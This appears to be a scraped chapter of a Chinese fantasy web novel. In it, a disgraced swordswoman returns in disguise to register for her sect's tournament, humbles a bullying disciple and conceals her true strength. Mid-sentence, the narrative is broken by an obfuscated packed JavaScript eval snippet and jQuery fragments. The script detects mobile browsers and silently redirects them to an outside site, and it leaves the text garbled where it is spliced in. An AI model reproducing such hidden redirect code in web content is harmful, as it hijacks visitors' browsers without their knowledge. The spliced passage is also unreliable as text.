23.重返故地

作品:《被全宗门追杀后穿成宿敌剑灵

    归云宗山门外,青石广场上。


    日头悬于中天,将青石广场晒得一片白亮。场上人头攒动,不下四五百人,皆是四方修士,为争归云宗宗门大比的魁首之位而来。


    报名之处,非是露天敞亮,乃是十数座临时搭建的玄色石亭,分立广场两侧。亭壁非石非木,而是布下了隔音禁制。


    每亭仅容一人进入,亭门闭合,内外音讯隔绝,亭外之人,纵是凝神细听,亦难窥探内里分毫。


    此乃本次大比新立之规。入亭者需将手掌覆于亭心一块温润的“鉴真玉璧”之上,辨其根基深浅,验其是否身负魔气、妖息。


    此外,执事弟子需验看身份玉符、籍贯文书,或引荐信物,一一登记造册。


    若有疑窦,执事弟子可催动亭内另一法器“问心铃”,铃声清越,直透识海,问询三两句关键,以辨真伪,验明无误,方可通过。


    云微静立于一列队伍之末。


    素白衣裙,不染纤尘,脸上覆着一方轻薄的白色面纱,只余一双眸子,清冽明澈,不起波澜。


    少年的声音仿佛又在耳边响起:“宗门大比,到了季轮……要组队。想来你也找不到队友,要不要……跟我一组?”


    她当时回答得干脆利落:“不必。”


    谢澜忱身为父亲义子,万众瞩目,与他同行极易暴露身份。


    她清晰地记得,少年闻声时下颌骤然绷紧,眸底沉郁似水。


    今晨刚到山脚,他便一言不发地下了马车,独自离开。


    这样也好。云微心中毫无波澜,各自行事,减少不必要的牵连,对彼此都好。


    排在她前面的两名年轻修士正低声交谈,声音不大,但足够云微听清。


    “李兄,今年的宗门大比可真是麻烦!”一个穿褐色短打的修士抱怨道,“往年哪有这么繁琐?”


    旁边那个被唤作李兄的蓝衫修士压低声音:“嘘,小声点。我听人说,这是宗主亲自下令改的规矩!”


    “啊?”褐衣修士一脸惊诧,嗓门陡然拔高,“莫非是忧心那个堕魔而死的云微借机潜入寻仇?”


    蓝衫修士忙拽了他一把,眉头紧锁:“你疯了?直呼其名!”


    他又道:“想当年她剑出归云,青出于蓝,宗主何等器重?谁曾想一朝堕魔,竟成宗门大患,好在她已神形俱灭,回不来了。”


    褐衣修士咂咂嘴:“说起来,那人当年的剑术,可真是绝了……可惜了。”


    两人还在嘀嘀咕咕地猜测着各种可能。


    云微面纱下的唇角勾起一丝极淡的冷嘲。


    父亲,你怕了?怕我这“形神俱灭”的女儿来找你索命么。


    队伍缓慢前进。


    一道身影自旁侧强行挤入,直插云微身前。


    此人满面横肉,腰悬一枚青玉云纹符,正是归云宗内门弟子标识。


    他斜睨云微,见她素衣简朴,腰无佩饰,更无象征身份的玉符令牌,顿生轻视。


    “喂!识相些!瞧你这般,无门无派,也敢来此丢人现眼?速速让开,别误了我的正事!”言罢,刻意将那腰间玉符晃了晃,青玉流光,颇为醒目,“瞧见没?正宗内门玉符!像你这种野修,趁早滚回家去!”


    云微眸光微凝,落于此人面上。


    赵常胜?


    一丝熟悉感掠过她心头。


    忆起月余前,假山之后,正是此人与数名弟子,口吐鄙夷,污她清名。


    再思及当年,淮水决堤,哀鸿遍野。一对褴褛夫妇携子跪于归云宗山门风雪之中,三日三夜,气息奄奄。


    恰好她练剑归来,观其筋骨尚可,然心性未定,终是动了恻隐,对值守弟子言:“此子筋骨尚可,心性未定,可予一观。”一语之荐,方开山门,使其得以入宗。


    不想,竟是招入一头忘恩负义的白眼豺狼。


    赵常胜见云微目光沉静,只定定看他,全无畏惧惶恐之色,更无让位之意,登时恼羞成怒:“哑巴了?还是聋了?我叫你滚开!”


    他那只手刚搭上云微肩膀,便觉一股沛然灵力顺着他腕脉直窜上来,如遭蜂蛰,痛得他“嗷”一声缩回手,腕子上已隐隐泛起一层红痕。


    云微立在原地,素衣纹丝未动。方才不过是将他推来的力道原路送回,再加了三分内劲,让他吃点皮肉苦头罢了。


    此等人,欺软怕硬,不给点教训,只会得寸进尺,只是此刻人多眼杂,若真动了杀招,反倒落人口实。


    这已是点到即止,既能让他知难而退,又不至于闹得太大。


    自己要做的是隐藏行藏,而非在此处与人逞凶斗狠,平白成了众人焦点。


    赵常胜捂着腕子,脸色由红转青,想发作又怯于她刚才那一手,只敢梗着脖子吼:“你……你敢动手?”


    云微眼皮都未抬一下,只淡淡道:“排队。”


    二字落地,清冽而有分量。


    赵常胜被她这气势慑住,竟一时语塞,僵在原地进退不得。


    “赵师弟,把手放下。”一声清叱自远处传来。


    一位身着淡青色宗门服饰的女子快步走来,身形略显单薄,面容温婉,眉宇间却自有一股柔韧的英气。


    她走到云微身旁,直视赵常胜:“身为归云宗弟子,当持身以正,谨守门规。这位姑娘排队已久,你岂可恃身份强行插队,更对一弱女子动手推搡?此等行径,置宗门清誉于何地?”


    云微心神微动,认出此人。


    正是归云宗二师姐,宁兮河。


    她幼时根基受损,体弱多病,常年于静峰休养,极少露面。


    不曾想,今日竟能在此处遇见此人。


    “是宁师姐!”


    “二师姐!”


    周围弟子纷纷行礼问好,语带敬重。


    “她不是病着吗?怎么下山了?”


    “是啊,二师姐身子不好还如此关心宗门事务。”


    宁兮河对这些赞誉置若罔闻,只关切地转向云微,温言问道:“姑娘,你可曾受伤?”


    云微对她知之甚少,只知其性柔善,却不想如此刚正,且眼中唯有眼前事,旁人赞誉浑如浮云。


    她微微摇头,清冷道:“无碍,多谢。”


    宁兮河见她无恙,这才对赵常胜正色道:“赵师弟,速去队尾,莫再滋扰。”


    赵常胜脸色阵青阵白,在宁兮河目光逼视及周围弟子注视下,终究不敢造次,狠狠瞪了云微一眼,悻悻然挤出人群,隐入后方。


    宁兮河这才对云微展颜一笑:“姑娘吉人天相,愿大比顺利。”言罢,不再多留,转身离去,青衫背影融入人群。


    观她行事,不恋虚名,只问是非,只是这宗门之内,善念往往难持。


    记下这份情分便好,云微想。


    不必再有牵扯,前路漫漫,终究是各归其途,方为妥当。


    终于轮到云微。


    石亭门一关,喧嚣顿消,亭内仅一桌一椅,一位年轻的执事弟子坐于其后。


    “烦请按规矩,先验过玉璧。”弟子头也未抬,例行公事。


    云微依言上前,素手轻抬,覆于那温润玉璧之上。


    刚一接触,玉璧微光流转,旋即一道极其明亮、几乎刺目的青色光柱猛然自璧中冲天而起。


    光芒之盛,瞬间充斥整个狭小的石亭,那光芒纯粹凝练,隐隐透出难以言喻的锋锐之意,直指云微根基之深厚,远超寻常修士。


    执事弟子抬起头,惊呼出声:“这根基……!”


    云微面色一滞,这鉴真玉璧竟能穿透我压制的灵力?这般异象,必惹怀疑。


    她覆在玉璧上的手指几不可察地微微一颤,一缕极其精微的灵力自指尖悄然透出,无声无息地缠绕上玉璧核心。


    那冲天的青色光柱骤然一暗,光芒迅速内敛、沉降,颜色也由极致的青白转为略显浑浊、波动不稳的青灰色泽,虽依旧比常人明亮,却已不复方才那惊世骇俗的纯粹与高度。


    成了。云微心中微定,指尖灵力悄然收回,面上依旧波澜不惊,仿佛方才的异变与她无关。


    执事弟子揉了揉眼睛,看着玉璧上那虽然也算不错、但远不及刚才惊鸿一瞥的青灰光芒,又看看神色淡漠的云微,心中惊疑不定:方才莫不是看花了眼?还是这玉璧一时不稳?


    他连忙道:“根基尚可,尚可。敢问姑娘贵姓?”


    “无名。”


    对方笔尖一顿,眼神里已带了几分审视与不耐,仿佛觉得这“无名”二字是故意寻衅:“无名?没有名字?那身份证明呢?籍贯何处?师承何人?”


    云微早已想好说辞,正要开口解释自己乃是山野散修,无门无派。


    忽闻亭门“咔嚓”轻响。


    云微心头微凛。这石亭的禁制虽非顶尖,却也是宗门秘法所设,寻常修士便是有钥匙也需按规启门,怎会有人能如此轻易潜入?


    抬眼时,谢澜忱已立在亭中。少年肩上还沾着些山径的霜叶,显然是刚从外面过来,可那身气息却稳得像从未动过灵力,仿佛不是他破了禁制,而是这门本就为他虚掩着一般。


    他目光扫过亭内,在云微脸上那方轻纱上稍作停留,眸底掠过一丝极淡的了然,随即转向那尚在错愕的执事弟子。


    他来做什么?是担心她报名受阻?


    云微面上依旧清冷,静观其变。


    那执事弟子一见谢澜忱,惊得霍然起身:“谢师兄?!您…您怎会在此?宗主不是…不是正在正殿为您设宴,表彰您襄助碧月山庄徐庄主平定内乱的大功么?”


    少年眼帘微掀,眸光懒怠扫过他,嘴角勾着丝似有若无的冷峭,像对什么都提不起兴致:“宴上奉承之人太多,吵得我头疼。”


    他目光转向云微,用下巴微点,“顺道,瞧瞧这位。她是我在碧月山庄外捡的,脑子撞坏了,前尘忘得干净,就叫无名。”


    他说着,斜睨那执事弟子一眼,眉梢微挑:“你按规矩来没错,但也不必太过死板,为难一个失忆之人。她的实力,够资格报名。”


    执事弟子一脸苦相,冷汗涔涔:“谢师兄明鉴!非是弟子有意刁难,实乃宗主严令:身份不明者,一律不得参比,以防…呃,以防不测。”他转向云微,连连作揖,“姑娘海涵,职责所在,万望体谅。”


    父亲为防她这“已死”之人,竟至风声鹤唳,草木皆兵。云微心想。


    她冷冷开口,声线透过面纱,依旧冰冽清晰:“规矩乃人所定。宗门大比,所考究者,修为深浅,应变之能,向道之心。执事若觉为难,不妨依规,容我当场试演,真伪立判。”


    执事被那气势慑住,又觑了眼谢澜忱冷脸,只得一咬牙:“好……好吧!那便……便破例一次!”他不敢怠慢,取出一枚鸽卵大小、黯淡无光的灰色石珠,以灵力牵引,悬于云微颈间。


    “此乃‘云踪珠’,为大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100671|175868||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    比信物。大比未毕之前,凭此珠可在宗内畅行,唯不得踏出山门半步,若要自行退出,捏碎此珠即可。”


    他指了指珠身那层灰蒙:“此刻呈灰色,是为报名既成、大比未启之兆。待三日后赛事开锣,姑娘每胜一轮,此珠便会依阶变色——先转青,再染赤,至紫则为魁首。”


    执事弟子又补充道:“你的住处在东苑听竹轩丙字房,寻我身后那块刻‘东苑’二字的青石碑,以灵力触之,自会传你过去。这三日虽无赛事,宗内演武场、藏经阁外围皆可去得,若想提前熟悉地形,或寻些轻便任务热身,凭此珠亦可通行。”


    颈间云踪珠触手微凉,灰蒙色泽沉沉,倒让云微想起三年前那枚紫芒璀璨的魁首之珠。


    彼时她立于高台,看台下谢澜忱攥紧了拳,少年眼底翻涌着不服,偏又得依着规矩,躬身道一声“恭喜师姐”。


    父亲大概没料到,他亲手诛杀的“魔头”,会戴着这枚灰珠,重新回到这片山门。


    “我带她去。”谢澜忱断然道。


    执事弟子哪敢有异议,连连点头:“是是是,有劳谢师兄!”


    二人并未触碰那青石碑,而是择了条僻静的山径,缓步而行。


    时值深秋,山道两旁树木枝叶金黄,转过一弯山坳,几株高大的老丁香树撞入眼帘。


    花期早已过了盛时,唯余零星几簇淡紫小花,倔强地缀于枯瘦枝头。


    此地,曾是她练剑疲累时,倚树小憩之处。


    走在前方的谢澜忱脚步微不可察地滞了一瞬。


    他眼角余光一直留意着云微,见她眸光在那几株丁香树上略一恍惚,便知她忆起旧事。


    少年快步走到一株尚挂着三两朵残蕊的花枝前,指尖在枝桠上顿了顿,似是犹豫,终是拦腰折下一小枝。


    回身行至云微面前,将那缀着残蕊的细枝递出,目光却偏向别处,语气生硬:“拿着。秋天还能开的花,很少见。”他似想解释这突兀的举动,话到嘴边又觉多余,更显别扭。


    云微看着眼前突兀递来的花枝,微微一怔。


    谢澜忱这是何意?是看出她方才心绪波动,想以此示好?还是少年心性,一时兴起?


    她没戳破,接了。


    少年肩线似乎松了松,随即又绷紧。


    云微指尖捻了捻花枝,抬手别在鬓边。素衣白纱,一点残紫,竟透出惊心动魄的艳。


    少年的目光落在她耳畔的花上,似乎被那抹颜色晃了一下眼,下意识地脱口而出:“……好看。”话一出口,他自己先愣住了,脸上闪过一丝懊恼的薄红,立刻改口:“我是说……你好好看看你自己有没有戴好!歪了!笨手笨脚的……”


    云微抬手轻轻扶正了一下鬓边的花枝,面纱下毫无波澜:“正了。”


    他这反复无常的性子……她心中了然。


    也罢,谢澜忱既是父亲义子,名义上也算她的弟弟,说些傻话,做点傻事,也很正常。


    况且这段时间,他确实帮了自己不少,虽立场相悖,但这份人情是实实在在的。


    后面要利用他身份探查许多事,还需他配合,关系不宜弄得太僵。


    她破天荒主动开口:“昨夜拒绝与你组队,并非质疑你实力。”


    谢澜忱脚步微不可察地一顿,却没回头,也没吭声,似乎在等着她下文。


    云微继续道:“你身为宗主义子,一举一动皆在众人瞩目之下。而我……”她顿了顿,声音依旧平静,“一个需要隐藏身份的人。与你同行,于你易惹非议,于我则增暴露之险。分开行动,各凭本事,于你于我,都更稳妥。”


    少年沉默了,过了片刻,才闷闷地开口,声音有些低沉:“刚才……那个弟子说的,宗主给我设宴表彰的事……我没告诉你,不是有意瞒你。只是……”他似乎在斟酌词句,“怕你听了,心里……会不舒服。”


    云微闻言,神情毫无变化。


    父亲器重他,抬举他,甚至在她“死后”更加毫无顾忌地偏爱他……这些事,她早就看得分明。


    从前她都不在乎,如今身负血海深仇,又怎会因这点“宠爱”心生波澜?


    云微淡淡道:“宗主厚爱于你,是你应得的。与我无关。”


    谢澜忱脸色沉了下去,唇线抿成一条直线,不再言语,转而继续前行。


    她果然毫不在意。


    一股难以言喻的窒闷感堵在胸口,让他呼吸都有些不畅。


    她越是这般云淡风轻,越是衬得他方才的试探和那点隐秘的担忧……像个笑话。


    二人各怀心事,山径唯余足踏霜叶的声音。


    不多时,一片依山而建的雅致房舍出现在眼前,正是东苑听竹轩。


    云微停下脚步:“住处到了,你回去吧。人多眼杂,被人看见你与我这‘来历不明’之人同行,于你声名有碍。”


    谢澜忱看着她,嘴唇动了动,似乎想说什么,最终却只是绷着脸,一言不发地站在那里,眼神复杂地看着她。


    云微静候片刻,见他毫无离去之意,只道他默许,遂不再多言,转身径直走向“听竹轩”丙字房。


    她步履从容,却在靠近房门三尺时,脚步微不可察地顿了一下。


    空气中似有极淡的桐油腥气?


    果不其然。


    就在云微伸手推开房门的一刹那,一个盛满污秽、桶壁涂满桐油的木桶直直从门楣上方砸了下来。